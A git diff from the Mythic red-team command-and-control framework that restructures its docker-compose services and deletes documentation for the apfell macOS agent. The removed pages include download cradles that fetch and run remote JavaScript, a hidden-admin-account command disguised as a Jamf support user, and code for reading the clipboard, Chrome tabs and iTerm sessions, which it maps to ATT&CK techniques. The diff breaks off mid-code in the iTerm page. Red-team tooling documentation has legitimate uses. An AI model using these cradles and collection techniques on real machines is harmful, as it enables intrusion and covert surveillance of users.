-version: '2.4'
services:
- postgres:
- build: ./postgres-docker
- container_name: mythic_postgres
- network_mode: host
- volumes:
- - ./postgres-docker/database:/var/lib/postgresql/data
- labels:
- NAME: "mythic_postgres"
- restart: on-failure
- environment:
- POSTGRES_PASSWORD: "${POSTGRES_PASSWORD}"
- rabbitmq:
- build: ./rabbitmq-docker
- container_name: mythic_rabbitmq
- network_mode: host
- volumes:
- - ./rabbitmq-docker/storage:/var/lib/rabbitmq
- labels:
- NAME: "mythic_rabbitmq"
- restart: on-failure
- #mem_limit: 512M
- mythic:
- build: ./mythic-docker
- network_mode: host
- container_name: mythic_server
- volumes:
- - ./mythic-docker:/Mythic
- labels:
- NAME: "mythic_server"
- environment:
- POSTGRES_PASSWORD: "${POSTGRES_PASSWORD}"
- depends_on:
- - postgres
- - rabbitmq
- restart: on-failure
- command: ["./wait-for-postgres.sh", "127.0.0.1:5432", "--", "python", "/Mythic/server.py"]
-
+ mythic_documentation:
+ build: ./documentation-docker
+ command: server
+ container_name: mythic_documentation
+ image: mythic_documentation
+ labels:
+ name: mythic_documentation
+ logging:
+ driver: json-file
+ options:
+ max-file: "1"
+ max-size: 10m
+ ports:
+ - ${DOCUMENTATION_PORT}:1313
+ restart: always
+ volumes:
+ - ./documentation-docker/:/src
+ mythic_graphql:
+ build: ./hasura-docker
+ container_name: mythic_graphql
+ depends_on:
+ - mythic_postgres
+ environment:
+ - HASURA_GRAPHQL_DATABASE_URL=postgres://${POSTGRES_USER}:${POSTGRES_PASSWORD}@${POSTGRES_HOST}:${POSTGRES_PORT}/${POSTGRES_DB}
+ - HASURA_GRAPHQL_METADATA_DATABASE_URL=postgres://${POSTGRES_USER}:${POSTGRES_PASSWORD}@${POSTGRES_HOST}:${POSTGRES_PORT}/${POSTGRES_DB}
+ - HASURA_GRAPHQL_ENABLE_CONSOLE=true
+ - HASURA_GRAPHQL_DEV_MODE=true
+ - HASURA_GRAPHQL_ADMIN_SECRET=${HASURA_SECRET}
+ - HASURA_GRAPHQL_INSECURE_SKIP_TLS_VERIFY=true
+ - HASURA_GRAPHQL_SERVER_PORT=${HASURA_PORT}
+ - HASURA_GRAPHQL_METADATA_DIR=/metadata
+ - HASURA_GRAPHQL_LIVE_QUERIES_MULTIPLEXED_REFETCH_INTERVAL=500
+ - HASURA_GRAPHQL_AUTH_HOOK=http://${MYTHIC_SERVER_HOST}:${MYTHIC_SERVER_PORT}/graphql/webhook
+ - MYTHIC_ACTIONS_URL_BASE=http://${MYTHIC_SERVER_HOST}:${MYTHIC_SERVER_PORT}/api/v1.4
+ image: mythic_graphql
+ labels:
+ name: mythic_graphql
+ logging:
+ driver: json-file
+ options:
+ max-file: "1"
+ max-size: 10m
+ network_mode: host
+ restart: always
+ volumes:
+ - ./hasura-docker/metadata:/metadata
+ mythic_nginx:
+ build: ./nginx-docker
+ container_name: mythic_nginx
+ environment:
+ - DOCUMENTATION_HOST=${DOCUMENTATION_HOST}
+ - DOCUMENTATION_PORT=${DOCUMENTATION_PORT}
+ - NGINX_PORT=${NGINX_PORT}
+ - MYTHIC_SERVER_HOST=${MYTHIC_SERVER_HOST}
+ - MYTHIC_SERVER_PORT=${MYTHIC_SERVER_PORT}
+ - HASURA_HOST=${HASURA_HOST}
+ - HASURA_PORT=${HASURA_PORT}
+ - NEW_UI_HOST=${MYTHIC_SERVER_HOST}
+ - NEW_UI_PORT=3000
+ image: mythic_nginx
+ labels:
+ name: mythic_nginx
+ logging:
+ driver: json-file
+ options:
+ max-file: "1"
+ max-size: 10m
+ network_mode: host
+ restart: always
+ volumes:
+ - ./nginx-docker/ssl:/etc/ssl/private
+ - ./nginx-docker/config:/etc/nginx
+ mythic_postgres:
+ build: ./postgres-docker
+ command: postgres -c "max_connections=400"
+ container_name: mythic_postgres
+ environment:
+ - POSTGRES_DB=${POSTGRES_DB}
+ - POSTGRES_USER=${POSTGRES_USER}
+ - POSTGRES_PASSWORD=${POSTGRES_PASSWORD}
+ image: mythic_postgres
+ labels:
+ name: mythic_postgres
+ logging:
+ driver: json-file
+ options:
+ max-file: "1"
+ max-size: 10m
+ ports:
+ - ${POSTGRES_PORT}:5432
+ restart: always
+ volumes:
+ - ./postgres-docker/database:/var/lib/postgresql/data
+ mythic_rabbitmq:
+ build: ./rabbitmq-docker
+ container_name: mythic_rabbitmq
+ environment:
+ - RABBITMQ_DEFAULT_USER=${RABBITMQ_USER}
+ - RABBITMQ_DEFAULT_PASS=${RABBITMQ_PASSWORD}
+ - RABBITMQ_DEFAULT_VHOST=${RABBITMQ_VHOST}
+ image: mythic_rabbitmq
+ labels:
+ name: mythic_rabbitmq
+ logging:
+ driver: json-file
+ options:
+ max-file: "1"
+ max-size: 10m
+ ports:
+ - ${RABBITMQ_PORT}:5672
+ restart: always
+ volumes:
+ - ./rabbitmq-docker/storage:/var/lib/rabbitmq
+ mythic_react:
+ build: ./mythic-react-docker
+ container_name: mythic_react
+ image: mythic_react
+ labels:
+ name: mythic_react
+ logging:
+ driver: json-file
+ options:
+ max-file: "1"
+ max-size: 10m
+ network_mode: host
+ restart: always
+ volumes:
+ - ./mythic-react-docker/mythic:/mythic_react
+ mythic_redis:
+ build: ./redis-docker
+ container_name: mythic_redis
+ image: mythic_redis
+ labels:
+ name: mythic_redis
+ logging:
+ driver: json-file
+ options:
+ max-file: "1"
+ max-size: 10m
+ ports:
+ - ${REDIS_PORT}:6379
+ restart: always
+ mythic_server:
+ build: ./mythic-docker
+ command: /bin/bash /Mythic/start_mythic_server.sh
+ container_name: mythic_server
+ depends_on:
+ - mythic_postgres
+ environment:
+ - MYTHIC_POSTGRES_HOST=${POSTGRES_HOST}
+ - MYTHIC_POSTGRES_PORT=${POSTGRES_PORT}
+ - MYTHIC_POSTGRES_DB=${POSTGRES_DB}
+ - MYTHIC_POSTGRES_USER=${POSTGRES_USER}
+ - MYTHIC_POSTGRES_PASSWORD=${POSTGRES_PASSWORD}
+ - MYTHIC_RABBITMQ_HOST=${RABBITMQ_HOST}
+ - MYTHIC_RABBITMQ_PORT=${RABBITMQ_PORT}
+ - MYTHIC_RABBITMQ_USER=${RABBITMQ_USER}
+ - MYTHIC_RABBITMQ_PASSWORD=${RABBITMQ_PASSWORD}
+ - MYTHIC_RABBITMQ_VHOST=${RABBITMQ_VHOST}
+ - MYTHIC_JWT_SECRET=${JWT_SECRET}
+ - MYTHIC_REDIS_PORT=${REDIS_PORT}
+ - MYTHIC_DEBUG
+ - MYTHIC_ADMIN_PASSWORD
+ - MYTHIC_ADMIN_USER
+ - MYTHIC_SERVER_PORT
+ - MYTHIC_ALLOWED_IP_BLOCKS=${ALLOWED_IP_BLOCKS}
+ - MYTHIC_DEFAULT_OPERATION_NAME=${DEFAULT_OPERATION_NAME}
+ - MYTHIC_NGINX_PORT=${NGINX_PORT}
+ - MYTHIC_SERVER_HEADER=${SERVER_HEADER}
+ - MYTHIC_WEB_LOG_SIZE=${WEB_LOG_SIZE}
+ - MYTHIC_WEB_KEEP_LOGS=${WEB_KEEP_LOGS}
+ - MYTHIC_SIEM_LOG_NAME=${SIEM_LOG_NAME}
+ image: mythic_server
+ labels:
+ name: mythic_server
+ logging:
+ driver: json-file
+ options:
+ max-file: "1"
+ max-size: 10m
+ network_mode: host
+ restart: always
+ volumes:
+ - ./mythic-docker:/Mythic
+version: "2.4"
diff --git a/documentation-docker/config.toml b/documentation-docker/config.toml
index 6a2132872..4790927be 100644
--- a/documentation-docker/config.toml
+++ b/documentation-docker/config.toml
@@ -1,4 +1,6 @@
-baseURL = "/"
+baseURL = "localhost/docs"
+RelativeURLs=true
+CanonifyURLs=true
languageCode = "en-US"
defaultContentLanguage = "en"
diff --git a/documentation-docker/content/Agents/_index.md b/documentation-docker/content/Agents/_index.md
index bb2ab5ea2..537ef0db4 100644
--- a/documentation-docker/content/Agents/_index.md
+++ b/documentation-docker/content/Agents/_index.md
@@ -26,4 +26,4 @@ This section goes into the ideal development environment and information about h
### C2 Profiles
-This section goes into the different c2 profiles the agent supports and any details about the agent's specific implementation
\ No newline at end of file
+This section goes into the different c2 profiles the agent supports and any details about the agent's specific implementation
diff --git a/documentation-docker/content/Agents/apfell/_index.md b/documentation-docker/content/Agents/apfell/_index.md
deleted file mode 100644
index 903f3ff4b..000000000
--- a/documentation-docker/content/Agents/apfell/_index.md
+++ /dev/null
@@ -1,33 +0,0 @@
-+++
-title = "apfell"
-chapter = false
-weight = 5
-+++
-
-![logo](/agents/apfell/apfell.svg?width=200px)
-## Summary
-
-Apfell is a JavaScript for Automation (JXA) agent for macOS.
-
-### Highlighted Agent Features
-- Similar to a PowerShell script, JXA execution goes through either a trusted, Apple signed binary (`osascript`) or through any program that imports `OSAKit`. Because JXA is an interpreted language (rather than a compiled one), it requires certain permissions (like JIT exceptions) when dealing with Apple's Notarization.
-- JXA has access to almost all ObjectiveC APIs through the ObjC bridge. If at all possible, `apfell` uses API calls instead of command-line execution.
-- There are multiple download cradle options:
-```Bash
-1. osascript -l JavaScript -e "eval(ObjC.unwrap( $.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://serverIPhere/filename')), $.NSUTF8StringEncoding)));"
-2. curl http://serverIPHere/filename | osascript -l JavaScript &
-```
-- The agent uses Objective C API calls to do a full encrypted key exchange with the Mythic server with a combination of AES256 and RSA.
-
-
-### Important Notes
-The entire agent is single threaded due to an ObjectiveC / JXA bridge limitation that I have been unable to figure out. Be careful to not issue shell commands that require user input because you will lose your agent.
-
-The agent cannot connect to self-signed certificates due to a limitation in overriding the NSURL connection settings for cert validation within JXA.
-
-## Authors
-@its_a_feature_
-
-
-### Special Thanks to These Contributors
-- @xorrior
diff --git a/documentation-docker/content/Agents/apfell/apfell.svg b/documentation-docker/content/Agents/apfell/apfell.svg
deleted file mode 100644
index fda55de9b..000000000
--- a/documentation-docker/content/Agents/apfell/apfell.svg
+++ /dev/null
@@ -1,4564 +0,0 @@
-
-
-
-
-
-
-
- image/svg+xml
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/documentation-docker/content/Agents/apfell/c2_profiles/HTTP.md b/documentation-docker/content/Agents/apfell/c2_profiles/HTTP.md
deleted file mode 100755
index 25eb69142..000000000
--- a/documentation-docker/content/Agents/apfell/c2_profiles/HTTP.md
+++ /dev/null
@@ -1,16 +0,0 @@
-+++
-title = "HTTP"
-chapter = false
-weight = 102
-+++
-
-## Summary
-The `apfell` agent uses a series of `POST` web requests to send responses for tasking and a series of `GET` requests to get tasking from the Mythic server.
-
-### Profile Option Deviations
-
-#### Callback Host
-The URL for the redirector or Mythic server. This must include the protocol to use (e.g. `http://` or `https://`).
-{{% notice warning %}}
-The `apfell` agent cannot connect to self signed certs directly though.
-{{% /notice %}}
diff --git a/documentation-docker/content/Agents/apfell/c2_profiles/_index.md b/documentation-docker/content/Agents/apfell/c2_profiles/_index.md
deleted file mode 100644
index 2c6a0d2ea..000000000
--- a/documentation-docker/content/Agents/apfell/c2_profiles/_index.md
+++ /dev/null
@@ -1,10 +0,0 @@
-+++
-title = "C2 Profiles"
-chapter = true
-weight = 25
-pre = "4. "
-+++
-
-# Supported C2 Profiles
-
-This section goes into any `apfell` specifics for the supported C2 profiles.
diff --git a/documentation-docker/content/Agents/apfell/c2_profiles/dynamicHTTP.md b/documentation-docker/content/Agents/apfell/c2_profiles/dynamicHTTP.md
deleted file mode 100644
index 6148d32a7..000000000
--- a/documentation-docker/content/Agents/apfell/c2_profiles/dynamicHTTP.md
+++ /dev/null
@@ -1,12 +0,0 @@
-+++
-title = "dynamicHTTP"
-chapter = false
-weight = 102
-+++
-
-## Summary
-The `apfell` agent uses a series of GET and POST web requests.
-{{% notice warning %}}
-However, the `apfell` agent cannot currently GET/SET Cookie values due to a limitation with JXA in casting the NSURLConnection object to an HTTPConnection object.
-{{% /notice %}}
-### Profile Option Deviations
diff --git a/documentation-docker/content/Agents/apfell/commands/_index.md b/documentation-docker/content/Agents/apfell/commands/_index.md
deleted file mode 100644
index a1ca2bd6c..000000000
--- a/documentation-docker/content/Agents/apfell/commands/_index.md
+++ /dev/null
@@ -1,10 +0,0 @@
-+++
-title = "Commands"
-chapter = true
-weight = 15
-pre = "2. "
-+++
-
-# Apfell command reference
-
-These pages provide in-depth documentation and code samples for the `apfell` commands.
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/apfell/commands/add_user.md b/documentation-docker/content/Agents/apfell/commands/add_user.md
deleted file mode 100644
index cdd431a2e..000000000
--- a/documentation-docker/content/Agents/apfell/commands/add_user.md
+++ /dev/null
@@ -1,106 +0,0 @@
-+++
-title = "add_user"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Add a local user to the system by wrapping the Apple binary, dscl.
-- Needs Admin: True
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-#### password
-
-- Description: p@55w0rd_here for new user
-- Required Value: False
-- Default Value: p@55w0rd_here
-
-#### passwd
-
-- Description: password of the user that will execute the commands.
-- Required Value: True
-- Default Value: None
-
-#### user
-
-- Description: username that will execute the commands.
-- Required Value: True
-- Default Value: None
-
-#### createprofile
-
-- Description: create a user profile or not
-- Required Value: False
-- Default Value: False
-
-#### usershell
-
-- Description: which shell environment should the new user have
-- Required Value: False
-- Default Value: /bin/bash
-
-#### primarygroupid
-
-- Description: POSIX primary group id for the new account
-- Required Value: False
-- Default Value: 80
-
-#### uniqueid
-
-- Description: POSIX unique id for the user
-- Required Value: False
-- Default Value: 403
-
-#### homedir
-
-- Description: /Users/.jamf_support
-- Required Value: False
-- Default Value: None
-
-#### realname
-
-- Description: Full user name
-- Required Value: False
-- Default Value: Jamf Support User
-
-#### username
-
-- Description: POSIX username for account
-- Required Value: False
-- Default Value: .jamf_support
-
-#### hidden
-
-- Description: Should the account be hidden from the logon screen
-- Required Value: False
-- Default Value: False
-
-#### admin
-
-- Description: Should the account be an admin account
-- Required Value: False
-- Default Value: True
-
-## Usage
-
-```
-add_user
-```
-
-## MITRE ATT&CK Mapping
-
-- T1136
-- T1169
-## Detailed Summary
-
-This is a very noisy and non-opsec safe command since it does a LOT Of `dscl` commands via `shell_elevated` style of execution such as:
-```JavaScript
-let cmd = "dscl . create /Users/" + username;
-currentApp.doShellScript(cmd, {administratorPrivileges:true, userName:user, password:passwd});
-```
-
diff --git a/documentation-docker/content/Agents/apfell/commands/cat.md b/documentation-docker/content/Agents/apfell/commands/cat.md
deleted file mode 100644
index 2a6146ebf..000000000
--- a/documentation-docker/content/Agents/apfell/commands/cat.md
+++ /dev/null
@@ -1,44 +0,0 @@
-+++
-title = "cat"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Read the contents of a file and display it to the user. No need for quotes and relative paths are fine
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-#### path
-
-- Description: path to file (no quotes required)
-- Required Value: True
-- Default Value: None
-
-## Usage
-
-### Without Popup Option
-
-```
-cat /path/to/file
-```
-
-## MITRE ATT&CK Mapping
-
-- T1081
-- T1106
-## Detailed Summary
-
-You can either type `cat` and get a popup to fill in the path, or provide the path on the command line. This command boils down to a single Objective C call:
-
-```JavaScript
-$.NSString.stringWithContentsOfFileEncodingError($(command_params['path']), $.NSUTF8StringEncoding, $()).js;
-```
-
-This expects the contents of the file to be a string. If it's not a string, you should instead `download` the file.
-
diff --git a/documentation-docker/content/Agents/apfell/commands/cd.md b/documentation-docker/content/Agents/apfell/commands/cd.md
deleted file mode 100644
index d29896cb1..000000000
--- a/documentation-docker/content/Agents/apfell/commands/cd.md
+++ /dev/null
@@ -1,37 +0,0 @@
-+++
-title = "cd"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Change the current working directory to another directory. No quotes are necessary and relative paths are fine
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-#### path
-
-- Description: path to change directory to
-- Required Value: True
-- Default Value: None
-
-## Usage
-### Without Popup Option
-```
-cd ../path/here
-```
-
-## MITRE ATT&CK Mapping
-
-- T1083
-## Detailed Summary
-You can either type `cd` and get a popup to fill in the path, or provide the path on the command line. This command boils down to a single Objective C call:
-
-```JavaScript
-fileManager.changeCurrentDirectoryPath(command_params['path']);
-```
diff --git a/documentation-docker/content/Agents/apfell/commands/chrome_bookmarks.md b/documentation-docker/content/Agents/apfell/commands/chrome_bookmarks.md
deleted file mode 100644
index d930c6da5..000000000
--- a/documentation-docker/content/Agents/apfell/commands/chrome_bookmarks.md
+++ /dev/null
@@ -1,50 +0,0 @@
-+++
-title = "chrome_bookmarks"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-This uses AppleEvents to list information about all of the bookmarks in Chrome. If Chrome is not currently running, this will launch Chrome (potential OPSEC issue) and might have a conflict with trying to access Chrome's bookmarks as Chrome is starting. It's recommended to not use this unless Chrome is already running. Use the list_apps function to check if Chrome is running.
-
-{{% notice warning %}}
-In Mojave and onward (10.14+) this will cause a popup the first time asking for permission for your process to access Chrome.
-{{% /notice %}}
-
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-## Usage
-
-```
-chrome_bookmarks
-```
-
-## MITRE ATT&CK Mapping
-
-- T1217
-## Detailed Summary
-
-This uses AppleEvents to iterate through Chome's bookmarks:
-```JavaScript
-let ch = Application("Google Chrome");
-if(ch.running()){
- let folders = ch.bookmarkFolders;
- for (let i = 0; i < folders.length; i ++){
- let folder = folders[i];
- let bookmarks = folder.bookmarkItems;
- all_data.push("Folder Name: " + folder.title());
- for (let j = 0; j < bookmarks.length; j++){
- let info = "Title: " + bookmarks[j].title() +
- "\nURL: " + bookmarks[j].url() +
- "\nindex: " + bookmarks[j].index() +
- "\nFolder/bookmark: " + i + "/" + j;
- all_data.push(info); //populate our array
- }
- }
-```
diff --git a/documentation-docker/content/Agents/apfell/commands/chrome_js.md b/documentation-docker/content/Agents/apfell/commands/chrome_js.md
deleted file mode 100644
index d3b9e4d68..000000000
--- a/documentation-docker/content/Agents/apfell/commands/chrome_js.md
+++ /dev/null
@@ -1,57 +0,0 @@
-+++
-title = "chrome_js"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-This uses AppleEvents to execute the specified JavaScript code into a specific browser tab. The `chrome_tab`s function will specify the window/tab numbers that you can use for this function.
-
-{{% notice info %}}
-By default this ability is disabled in Chrome now, you will need to go to view->Developer->Allow JavaScript from Apple Events.
-{{% /notice %}}
-
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-#### window
-
-- Description: Window # from chrome_tabs
-- Required Value: True
-- Default Value: None
-
-#### javascript
-
-- Description: javascript to execute
-- Required Value: True
-- Default Value: None
-
-#### tab
-
-- Description: Tab # from chrome_tabs
-- Required Value: True
-- Default Value: None
-
-## Usage
-
-```
-chrome_js
-```
-
-## MITRE ATT&CK Mapping
-
-- T1106
-- T1064
-## Detailed Summary
-
-This boils down to a simple AppleEvent message:
-
-```JavaScript
-let result = Application("Google Chrome").windows[window].tabs[tab].execute({javascript:jscript});
-```
-
diff --git a/documentation-docker/content/Agents/apfell/commands/chrome_tabs.md b/documentation-docker/content/Agents/apfell/commands/chrome_tabs.md
deleted file mode 100644
index 4ead7f3fe..000000000
--- a/documentation-docker/content/Agents/apfell/commands/chrome_tabs.md
+++ /dev/null
@@ -1,52 +0,0 @@
-+++
-title = "chrome_tabs"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-This uses AppleEvents to list information about all of the open tabs in all of the open Chrome instances.
-
-If Chrome is not currently running, this will launch Chrome (potential OPSEC issue) and might have a conflict with trying to access Chrome tabs as Chrome is starting. It's recommended to not use this unless Chrome is already running.
-
-Use the list_apps function to check if Chrome is running.
-
-
-{{% notice warning %}}
-In Mojave+ (10.14+) this will cause a popup the first time asking for permission for your process to access Chrome.
-{{% /notice %}}
-
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-## Usage
-
-```
-chrome_tabs
-```
-
-## MITRE ATT&CK Mapping
-
-- T1010
-## Detailed Summary
-
-This boils down to a few AppleEvents to enumerate the open tabs in Chrome instances:
-
-```JavaScript
-let ch = Application("Google Chrome");
-if(ch.running()){
- for (let i = 0; i < ch.windows.length; i++){
- let win = ch.windows[i];
- tabs["Window " + i] = {};
- for (let j = 0; j < win.tabs.length; j++){
- let tab = win.tabs[j];
- tabs["Window " + i]["Tab " + j] = {"title": tab.title(), "url": tab.url()};
- }
- }
-}
-```
diff --git a/documentation-docker/content/Agents/apfell/commands/clipboard.md b/documentation-docker/content/Agents/apfell/commands/clipboard.md
deleted file mode 100644
index 8fb771d16..000000000
--- a/documentation-docker/content/Agents/apfell/commands/clipboard.md
+++ /dev/null
@@ -1,74 +0,0 @@
-+++
-title = "clipboard"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Get all the types of contents on the clipboard, return specific types, or set the contents of the clipboard.
-
-{{% notice warning %}}
- Root does _*NOT*_ have a clipboard
-{{% /notice %}}
-
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-#### types
-
-- Description: Types of clipboard data to retrieve, defaults to `public.utf8-plain-text`
-- Required Value: False
-- Default Value: None
-
-#### data
-
-- Description: Data to put on the clipboard
-- Required Value: False
-- Default Value: None
-## Usage
-### Reading Clipboard
-
-#### Causes a Popup
-```
-clipboard
-```
-This will read the plaintext data on the clipboard and give information about the other keys that are available to read. If you then issue the command again with the keys you desire, the contents of those will be returned as well. This can be an extremely large amount of data as users copy folders, files, images, etc on their clipboard. All of this is available to you, but isn't returned by default.
-
-### Writing Clipboard
-#### Causes a Popup
-```
-clipboard
-```
-Set the `data` field to something other than empty to write to the clipboard.
-#### No Popup Option
-```
-clipboard data
-```
-
-
-## MITRE ATT&CK Mapping
-
-- T1115
-## Detailed Summary
-
-This uses Objective C API calls to read all the types available on the general clipboard for the current user. The clipboard on macOS has a lot more data than _just_ what you copy. All of that data is collected and returned in a JSON blob of key:base64(data). To do this, we use this JavaScript code:
-```JavaScript
-let pb = $.NSPasteboard.generalPasteboard;
-let types = pb.types.js;
-let clipboard = {};
-for(let i = 0; i < types.length; i++){
- let typejs = types[i].js;
- clipboard[typejs] = pb.dataForType(types[i]);
- if(clipboard[typejs].js !== undefined){
- clipboard[typejs] = clipboard[typejs].base64EncodedStringWithOptions(0).js;
- }else{
- clipboard[typejs] = "";
- }
-}
-```
-There's a browserscript for this function that'll return all of the keys and the plaintext data if it's there.
diff --git a/documentation-docker/content/Agents/apfell/commands/current_user.md b/documentation-docker/content/Agents/apfell/commands/current_user.md
deleted file mode 100644
index e0814b150..000000000
--- a/documentation-docker/content/Agents/apfell/commands/current_user.md
+++ /dev/null
@@ -1,51 +0,0 @@
-+++
-title = "current_user"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-This uses AppleEvents or ObjectiveC APIs to get information about the current user.
-
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-#### method
-
-- Description: Use AppleEvents or ObjectiveC calls to get user information
-- Required Value: True
-- Default Value: api
-
-## Usage
-
-```
-current_user
-```
-
-## MITRE ATT&CK Mapping
-
-- T1033
-## Detailed Summary
-
-This boils down to AppleEvents to System Events or an ObjectiveC API call:
-```JavaScript
-if(method === "jxa"){
- let user = Application("System Events").currentUser;
- let info = "Name: " + user.name() +
- "\nFullName: " + user.fullName() +
- "\nhomeDirectory: " + user.homeDirectory() +
- "\npicturePath: " + user.picturePath();
- return {"user_output":info, "completed": true};
-}
-else if(method === "api"){
- let output = "\nUserName: " + $.NSUserName().js +
- "\nFull UserName: " + $.NSFullUserName().js +
- "\nHome Directory: " + $.NSHomeDirectory().js;
- return {"user_output":output, "completed": true};
-}
-```
diff --git a/documentation-docker/content/Agents/apfell/commands/download.md b/documentation-docker/content/Agents/apfell/commands/download.md
deleted file mode 100644
index 0bd573592..000000000
--- a/documentation-docker/content/Agents/apfell/commands/download.md
+++ /dev/null
@@ -1,31 +0,0 @@
-+++
-title = "download"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Download a file from the victim machine to the Mythic server in chunks (no need for quotes in the path).
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-## Usage
-
-```
-download {path to remote file}
-```
-
-## MITRE ATT&CK Mapping
-
-- T1020
-- T1030
-- T1041
-## Detailed Summary
-
-This function uses the loaded C2's `download` function to chunk data and send it up to the Mythic server. This chunking allows extremely large files to be sent over the network more easily. The initial message to Mythic will register the file in the database and information about it (like how many chunks it'll take). Then, using that new file identifier, the agent will start sending chunks.
-
diff --git a/documentation-docker/content/Agents/apfell/commands/exit.md b/documentation-docker/content/Agents/apfell/commands/exit.md
deleted file mode 100644
index 26410f5d0..000000000
--- a/documentation-docker/content/Agents/apfell/commands/exit.md
+++ /dev/null
@@ -1,30 +0,0 @@
-+++
-title = "exit"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-This exits the current apfell agent by leveraging the ObjectiveC bridge's NSApplication terminate function.
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-## Usage
-
-```
-exit
-```
-
-
-## Detailed Summary
-
-The command executes this call:
-```JavaScript
-$.NSApplication.sharedApplication.terminate(this);
-```
-
diff --git a/documentation-docker/content/Agents/apfell/commands/get_config.md b/documentation-docker/content/Agents/apfell/commands/get_config.md
deleted file mode 100644
index 7938494d4..000000000
--- a/documentation-docker/content/Agents/apfell/commands/get_config.md
+++ /dev/null
@@ -1,61 +0,0 @@
-+++
-title = "get_config"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Gets the current running config via the C2 class
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-## Usage
-
-```
-get_config
-```
-
-## MITRE ATT&CK Mapping
-
-- T1082
-## Detailed Summary
-This returns a lot of information about the current agent and session. The C2 component will vary depending on the C2 that's loaded in, but an example with the HTTP profile:
-```JSON
-{
- "C2": {
- "baseurl": "http://192.168.205.151",
- "interval": 10,
- "jitter": 23,
- "commands": "test_password, clipboard, shell_elevated, load, persist_launch, shell, upload, spawn_drop_and_execute, exit, persist_emond, download, spawn_download_cradle, terminals_send, jsimport, prompt, cd, hostname, get_config, jsimport_call, persist_folderaction, launchapp, plist, system_info, pwd, current_user, run, chrome_js, security_info, chrome_tabs, ifconfig, iTerm, cat, ls, terminals_read, screenshot, list_users, jscript, list_apps, sleep, chrome_bookmarks, add_user, rm",
- "host_header": "",
- "aes_psk": "blob here"
- },
- "Host": {
- "user": "POSIX username",
- "fullName": "Full Username",
- "ips": [
- // complete IP list here
- ],
- "hosts": [
- // hostnames
- ],
- "environment": {
- // environment variables
- },
- "uptime": //int
- "args": [
- "/usr/bin/osascript",
- "apfell.js"
- ],
- "pid": 9270,
- "apfell_id": "c546fffa-d248-426b-b805-54971663c539",
- "payload_id": "51434eb0-aaa6-49ad-9b25-515cd6d6642b"
- }
-}
-```
-
diff --git a/documentation-docker/content/Agents/apfell/commands/hostname.md b/documentation-docker/content/Agents/apfell/commands/hostname.md
deleted file mode 100644
index 64d88bf48..000000000
--- a/documentation-docker/content/Agents/apfell/commands/hostname.md
+++ /dev/null
@@ -1,39 +0,0 @@
-+++
-title = "hostname"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Get the various hostnames associated with the host, including the NETBIOS name if the computer is domain joined
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-## Usage
-
-```
-hostname
-```
-
-
-## Detailed Summary
-This uses various API calls and files to pull the various hostnames associated with the computer:
-```JavaScript
-let output = {};
-output['localized'] = ObjC.deepUnwrap($.NSHost.currentHost.localizedName);
-output['names'] = ObjC.deepUnwrap($.NSHost.currentHost.names);
-let fileManager = $.NSFileManager.defaultManager;
-if(fileManager.fileExistsAtPath("/Library/Preferences/SystemConfiguration/com.apple.smb.server.plist")){
- let dict = $.NSMutableDictionary.alloc.initWithContentsOfFile("/Library/Preferences/SystemConfiguration/com.apple.smb.server.plist");
- let contents = ObjC.deepUnwrap(dict);
- output['Local Kerberos Realm'] = contents['LocalKerberosRealm'];
- output['NETBIOS Name'] = contents['NetBIOSName'];
- output['Server Description'] = contents['ServerDescription'];
-}
-```
-This has been a particular painpoint for the agent to determine which hostname to report back on checkin. This at least exposes all the options.
diff --git a/documentation-docker/content/Agents/apfell/commands/iTerm.md b/documentation-docker/content/Agents/apfell/commands/iTerm.md
deleted file mode 100644
index 48ba9c349..000000000
--- a/documentation-docker/content/Agents/apfell/commands/iTerm.md
+++ /dev/null
@@ -1,46 +0,0 @@
-+++
-title = "iTerm"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Read the contents of all open iTerm tabs if iTerms is open, otherwise just inform the operator that it's not currently running
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-{{% notice warning %}} In Mojave+ (10.14+) this will cause a popup the first time asking for permission for your process to access iTerm. {{% /notice %}}
-
-### Arguments
-
-## Usage
-
-```
-iTerm
-```
-
-## MITRE ATT&CK Mapping
-
-- T1139
-- T1056
-## Detailed Summary
-This uses AppleEvents to read the contents of iTerm tabs:
-```JavaScript
-if(term.running()){
- for(let i = 0; i < term.windows.length; i++){
- let window = {};
- for(let j = 0; j < term.windows[i].tabs.length; j++){
- let tab_info = {};
- tab_info['tty'] = term.windows[i].tabs[j].currentSession.tty();
- tab_info['name'] = term.windows[i].tabs[j].currentSession.name();
- tab_info['contents'] = term.windows[i].tabs[j].currentSession.contents();
